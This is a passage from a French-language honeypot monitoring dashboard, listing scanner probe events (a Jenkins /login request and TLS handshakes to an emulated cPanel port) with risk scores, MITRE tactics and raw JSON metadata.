"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8090"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8080 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8080 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8080
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.882182446701055,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.2,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "4458403202cd4f888fb69789c0b6e3f4e52b1e37",
"event_fingerprint": "3fb648dcf91023ff04f2a460f04b9f68e7660456",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "54f2477f1e4a7d1a6d7b0c6a1ece1af3",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b5666f234b26e4eb17846bceb6c44715d471f7cf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� �5 m @)�{����Q� �:��IO�W9�� �[!��\��m�3?��,��.q�j�71U �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� �5
m @)�{����Q�
�:��IO�W9�� �[!��\��m�3?��,��.q�j�71U �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� �5 m @)�{����Q� �:��IO�W9�� �[!��\��m�3?��,��.q�j�71U �+�/�,�0̨̩� �� � [ � � 2 + 3�����Q��U�.r�p�j�*�9|?����C�
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.737074897643242,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "56079fb836bf261ee49cf6d00dd63eaa",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00035\nm\u0015\u001c@)\ufffd\b{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\u001f\ufffd:\ufffd\ufffdIO\u0011\ufffd\u0010W9\ufffd\ufffd \f\ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\u0001\ufffd,\ufffd\ufffd.q\u0018\ufffdj\ufffd71U\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00035\nm\u0015\u001c@)\ufffd\b{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\u001f\ufffd:\ufffd\ufffdIO\u0011\ufffd\u0010W9\ufffd\ufffd \f\ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\u0001\ufffd,\ufffd\ufffd.q\u0018\ufffdj\ufffd71U\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\ufffdQ\ufffd\u0007\ufffdU\ufffd.r\ufffdp\ufffdj\u000f\ufffd*\ufffd9|?\ufffd\u0007\ufffd\ufffd\ufffdC\ufffd\f",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00035\nm\u0015\u001c@)\ufffd\b{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\u001f\ufffd:\ufffd\ufffdIO\u0011\ufffd\u0010W9\ufffd\ufffd \f\ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\u0001\ufffd,\ufffd\ufffd.q\u0018\ufffdj\ufffd71U\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "00fb1bd8a967064d0a504235dfd7c8219ab36713",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00035\nm\u0015\u001c@)\ufffd\b{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\u001f\ufffd:\ufffd\ufffdIO\u0011\ufffd\u0010W9\ufffd\ufffd \f\ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\u0001\ufffd,\ufffd\ufffd.q\u0018\ufffdj\ufffd71U\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd5\nm@)\ufffd{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\ufffd:\ufffd\ufffdIO\ufffdW9\ufffd\ufffd \ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\ufffd,\ufffd\ufffd.q\ufffdj\ufffd71U\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00035\nm\u0015\u001c@)\ufffd\b{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\u001f\ufffd:\ufffd\ufffdIO\u0011\ufffd\u0010W9\ufffd\ufffd \f\ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\u0001\ufffd,\ufffd\ufffd.q\u0018\ufffdj\ufffd71U\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd5\nm@)\ufffd{\ufffd\ufffd\ufffd\ufffdQ\ufffd\r\ufffd:\ufffd\ufffdIO\ufffdW9\ufffd\ufffd \ufffd[!\ufffd\ufffd\\\ufffd\ufffdm\ufffd3?\ufffd\ufffd,\ufffd\ufffd.q\ufffdj\ufffd71U\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� � ��k�{ ~,�\{�z���(��M��N��� ��* 1@���o���ݝ&w�>��g�� �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� � ��k�{ ~,�\{�z���(��M��N��� ��*
1@���o���ݝ&w�>��g�� �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� � ��k�{ ~,�\{�z���(��M��N��� ��* 1@���o���ݝ&w�>��g�� �+�/�,�0̨̩� �� � [ � � 2 + 3����g�I5X��r�.Q�sj��yl�1w��[3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.747381732048413,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "578445f132216602594b2c4cfb1b1595",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\u000b\ufffd\ufffdk\ufffd{\u000b~,\ufffd\\{\u0014\ufffdz\ufffd\ufffd\ufffd\u0004(\ufffd\ufffdM\ufffd\ufffd\u0004\u0003N\u0019\ufffd\ufffd\ufffd \ufffd\u0014\ufffd*\r\uda87\uddf11@\u0019\ufffd\ufffd\ufffdo\ufffd\ufffd\u0017\ufffd\u075d&w\ufffd>\ufffd\ufffdg\ufffd\u0002\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
